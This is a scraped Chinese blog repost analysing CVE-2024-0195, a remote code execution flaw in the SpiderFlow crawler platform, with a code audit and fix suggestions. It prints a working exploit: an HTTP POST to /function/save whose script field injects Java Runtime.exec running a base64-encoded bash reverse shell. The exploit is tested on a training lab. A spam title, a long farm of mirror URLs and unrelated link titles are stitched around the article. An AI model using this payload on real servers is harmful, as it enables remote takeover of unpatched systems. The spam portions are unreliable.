当前位置: 首页 > news >正文

呼市网站制作宁波小程序网络开发公司

呼市网站制作,宁波小程序网络开发公司,wordpress theme for free green,兰溪高端网站建设公司CVE-2024-0195 简介#xff1a; SpiderFlow是新一代开源爬虫平台#xff0c;以图形化方式定义爬虫流程#xff0c;不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞#xff0c;攻击者可以构造恶意命…CVE-2024-0195 简介 SpiderFlow是新一代开源爬虫平台以图形化方式定义爬虫流程不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞攻击者可以构造恶意命令远控服务器 影响版本 Up to (including)0.5.0  EXP(反弹shell):  id1namecmdparameterrcescript%7DJava.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i})%3B%7B 注意 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell 具体可访问java Runtime.getRuntime().exec 获取反弹shell_p r.exec([/bin/bash,-c,-CSDN博客 漏洞复现  参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com) 源码下载: https://gitee.com/ssssssss-team/spider-flow.git 复现春秋靶场: 进入环境进行抓包 修包改为 POST /function/save HTTP/1.1Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charsetUTF-8X-Requested-With: XMLHttpRequestContent-Length: 189Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088Connection: closeReferer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.htmlid1namecmdparameterrcescript%7DJava.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i})%3B%7B 即可反弹shell  代码审计  在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径 RestController RequestMapping(/function) public class FunctionController {Autowiredprivate FunctionService functionService;RequestMapping(/list)public IPageFunction list(RequestParam(name page,defaultValue 1)Integer page, RequestParam(name limit,defaultValue 1)Integer size,String name) {QueryWrapperFunction select new QueryWrapperFunction().select(id, name, parameter, create_date);if(StringUtils.isNotBlank(name)){select.like(name,name);}select.orderByDesc(create_date);return functionService.page(new PageFunction(page, size), select);}RequestMapping(/save)public String save(Function function){return functionService.saveFunction(function);}RequestMapping(/get)public Function get(String id){return functionService.getById(id);}RequestMapping(/remove)public void remove(String id){functionService.removeById(id);} } 我们跟进 saveFunction()方法 public String saveFunction(Function entity) {try {// 对传入的数据进行过滤ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());// 保存super.saveOrUpdate(entity);init();return null;} catch (Exception e) {logger.error(保存自定义函数出错,e);return ExceptionUtils.getStackTrace(e);} } 里面有个validScript方法就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤该方法可能会抛出异常 我们跟进validScript方法 public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName(nashorn).eval(concatScript(functionName,parameters,script)); } 里面居然直接有eval危险函数首先代码创建了一个新的ScriptEngineManager对象然后从中获取一个名为nashorn的脚本引擎。接下来通过调用eval()方法将传入的函数名称、参数和脚本合并成一个完整的脚本字符串并将其传递给脚本引擎进行执行。  我们跟进concatScript方法 private static String concatScript(String functionName,String parameters,String script){StringBuffer scriptBuffer new StringBuffer();scriptBuffer.append(function ).append(functionName).append(().append(parameters null ? : parameters).append(){).append(script).append(});return scriptBuffer.toString(); } 这段代码的作用是接受三个参数 functionName、parameters和 script合并成一个完整的脚本字符串并返回该字符串。 没有进行任何过滤所以我们就可以构造RCE了 假设三个参数分别为wendanh最后返回的是 function wen(da){nh} 我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell }Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i});{ 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell function wen(da){}Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i});{} 修复建议 1.在拼接的时候对script进行过滤处理 2.打补丁 spider-flow: 新一代爬虫平台以图形化方式定义爬虫流程不写代码即可完成爬虫。 参考 SpiderFlow爬虫平台漏洞利用分析CVE-2024-0195 - FreeBuf网络安全行业门户
文章转载自:
http://www.morning.jcfg.cn.gov.cn.jcfg.cn
http://www.morning.ysbhj.cn.gov.cn.ysbhj.cn
http://www.morning.rwhlf.cn.gov.cn.rwhlf.cn
http://www.morning.kxmyj.cn.gov.cn.kxmyj.cn
http://www.morning.zpfqh.cn.gov.cn.zpfqh.cn
http://www.morning.hgsmz.cn.gov.cn.hgsmz.cn
http://www.morning.tmrjb.cn.gov.cn.tmrjb.cn
http://www.morning.fddfn.cn.gov.cn.fddfn.cn
http://www.morning.zfrs.cn.gov.cn.zfrs.cn
http://www.morning.bslkt.cn.gov.cn.bslkt.cn
http://www.morning.hdrrk.cn.gov.cn.hdrrk.cn
http://www.morning.gjzwj.cn.gov.cn.gjzwj.cn
http://www.morning.wkwds.cn.gov.cn.wkwds.cn
http://www.morning.qrsrs.cn.gov.cn.qrsrs.cn
http://www.morning.cprls.cn.gov.cn.cprls.cn
http://www.morning.ckctj.cn.gov.cn.ckctj.cn
http://www.morning.ydxx123.cn.gov.cn.ydxx123.cn
http://www.morning.bkjhx.cn.gov.cn.bkjhx.cn
http://www.morning.mypxm.com.gov.cn.mypxm.com
http://www.morning.trnhy.cn.gov.cn.trnhy.cn
http://www.morning.knscf.cn.gov.cn.knscf.cn
http://www.morning.zplzj.cn.gov.cn.zplzj.cn
http://www.morning.cpgdy.cn.gov.cn.cpgdy.cn
http://www.morning.zpzys.cn.gov.cn.zpzys.cn
http://www.morning.ksqzd.cn.gov.cn.ksqzd.cn
http://www.morning.mznqz.cn.gov.cn.mznqz.cn
http://www.morning.fgppj.cn.gov.cn.fgppj.cn
http://www.morning.kdjtt.cn.gov.cn.kdjtt.cn
http://www.morning.rgwrl.cn.gov.cn.rgwrl.cn
http://www.morning.ykrg.cn.gov.cn.ykrg.cn
http://www.morning.kfcfq.cn.gov.cn.kfcfq.cn
http://www.morning.hysqx.cn.gov.cn.hysqx.cn
http://www.morning.ndrzq.cn.gov.cn.ndrzq.cn
http://www.morning.hxcrd.cn.gov.cn.hxcrd.cn
http://www.morning.qbpqw.cn.gov.cn.qbpqw.cn
http://www.morning.cwgn.cn.gov.cn.cwgn.cn
http://www.morning.rdkgw.cn.gov.cn.rdkgw.cn
http://www.morning.bpwfr.cn.gov.cn.bpwfr.cn
http://www.morning.tdscl.cn.gov.cn.tdscl.cn
http://www.morning.mfsjn.cn.gov.cn.mfsjn.cn
http://www.morning.jrwbl.cn.gov.cn.jrwbl.cn
http://www.morning.fbxdp.cn.gov.cn.fbxdp.cn
http://www.morning.wkqrp.cn.gov.cn.wkqrp.cn
http://www.morning.skkmz.cn.gov.cn.skkmz.cn
http://www.morning.fwblh.cn.gov.cn.fwblh.cn
http://www.morning.jjnql.cn.gov.cn.jjnql.cn
http://www.morning.brnwc.cn.gov.cn.brnwc.cn
http://www.morning.zympx.cn.gov.cn.zympx.cn
http://www.morning.gnkbf.cn.gov.cn.gnkbf.cn
http://www.morning.lbpfl.cn.gov.cn.lbpfl.cn
http://www.morning.bnkcl.cn.gov.cn.bnkcl.cn
http://www.morning.pqhgn.cn.gov.cn.pqhgn.cn
http://www.morning.kttbx.cn.gov.cn.kttbx.cn
http://www.morning.lxhrq.cn.gov.cn.lxhrq.cn
http://www.morning.zqfz.cn.gov.cn.zqfz.cn
http://www.morning.rhkq.cn.gov.cn.rhkq.cn
http://www.morning.tnjff.cn.gov.cn.tnjff.cn
http://www.morning.sooong.com.gov.cn.sooong.com
http://www.morning.lbxcc.cn.gov.cn.lbxcc.cn
http://www.morning.qrqg.cn.gov.cn.qrqg.cn
http://www.morning.jrslj.cn.gov.cn.jrslj.cn
http://www.morning.rwlnk.cn.gov.cn.rwlnk.cn
http://www.morning.gmnmh.cn.gov.cn.gmnmh.cn
http://www.morning.zdkzj.cn.gov.cn.zdkzj.cn
http://www.morning.hmnhp.cn.gov.cn.hmnhp.cn
http://www.morning.bjjrtcsl.com.gov.cn.bjjrtcsl.com
http://www.morning.rwlns.cn.gov.cn.rwlns.cn
http://www.morning.ldspj.cn.gov.cn.ldspj.cn
http://www.morning.lmfxq.cn.gov.cn.lmfxq.cn
http://www.morning.jhwqp.cn.gov.cn.jhwqp.cn
http://www.morning.crqbt.cn.gov.cn.crqbt.cn
http://www.morning.mmtjk.cn.gov.cn.mmtjk.cn
http://www.morning.btrfm.cn.gov.cn.btrfm.cn
http://www.morning.jljiangyan.com.gov.cn.jljiangyan.com
http://www.morning.nwnbq.cn.gov.cn.nwnbq.cn
http://www.morning.mbzlg.cn.gov.cn.mbzlg.cn
http://www.morning.jbtwq.cn.gov.cn.jbtwq.cn
http://www.morning.lrdzb.cn.gov.cn.lrdzb.cn
http://www.morning.gwjnm.cn.gov.cn.gwjnm.cn
http://www.morning.pcgjj.cn.gov.cn.pcgjj.cn
http://www.tj-hxxt.cn/news/251591.html

相关文章:

  • 网站集群建设熊掌号网站的基础建设费用
  • 建材家居网站模板开发一个网站大概多少钱
  • 郑州专业公司网站制作公司wordpress 脚本慢
  • 如何找客户资源网站建设公司专业的建站优化公司
  • 漫画网站怎么做谷歌网站推广优化
  • 济南手工网站建设seo网站结构优化
  • 福永网站设计东营黄页企业名录
  • wordpress修改我要注册链接seo新人培训班
  • 做一个网站花多少钱抛丸机网站排名优化
  • 网站建设费摊销wordpress怎么放音乐
  • 广州大石附近做网站的公司哪家好本地搭建的wordpress怎么外网访问
  • saas建站源码下载做哪些网站可以赚钱的
  • 查内部券的网站是怎么做的织梦网站档目管理空白
  • 百度不收录哪些网站多网站管理
  • 毕业设计报告网站开发网站推广优化业务
  • 商城网站是怎么做的商城软件下载
  • 做优惠卷网站房地产平面设计网站
  • 深圳通信管理局网站公司名称设计logo免费
  • 做好对外门户网站建设淮北做网站
  • 哪个公司建设网站惠安网站建设价格
  • 自己做网站用中文为什么是乱码cms开发
  • 免费微信网站模板下载海鲜网站开发目的在于
  • 基于php网站开发环境php商城网站开发实例视频教程
  • 医院网站如何备案建设工程信息网站
  • 我想网站建设多少钱android软件开发下载
  • 建网站需要哪些条件公司做两个网站有影响吗
  • 制作网站入门广州做外贸网站建设
  • 东营机关建设网站上传户型图生成效果图
  • 网站背景图片切换上海网络推广公司
  • 华润置地建设事业部官方网站外包开发app需要多少钱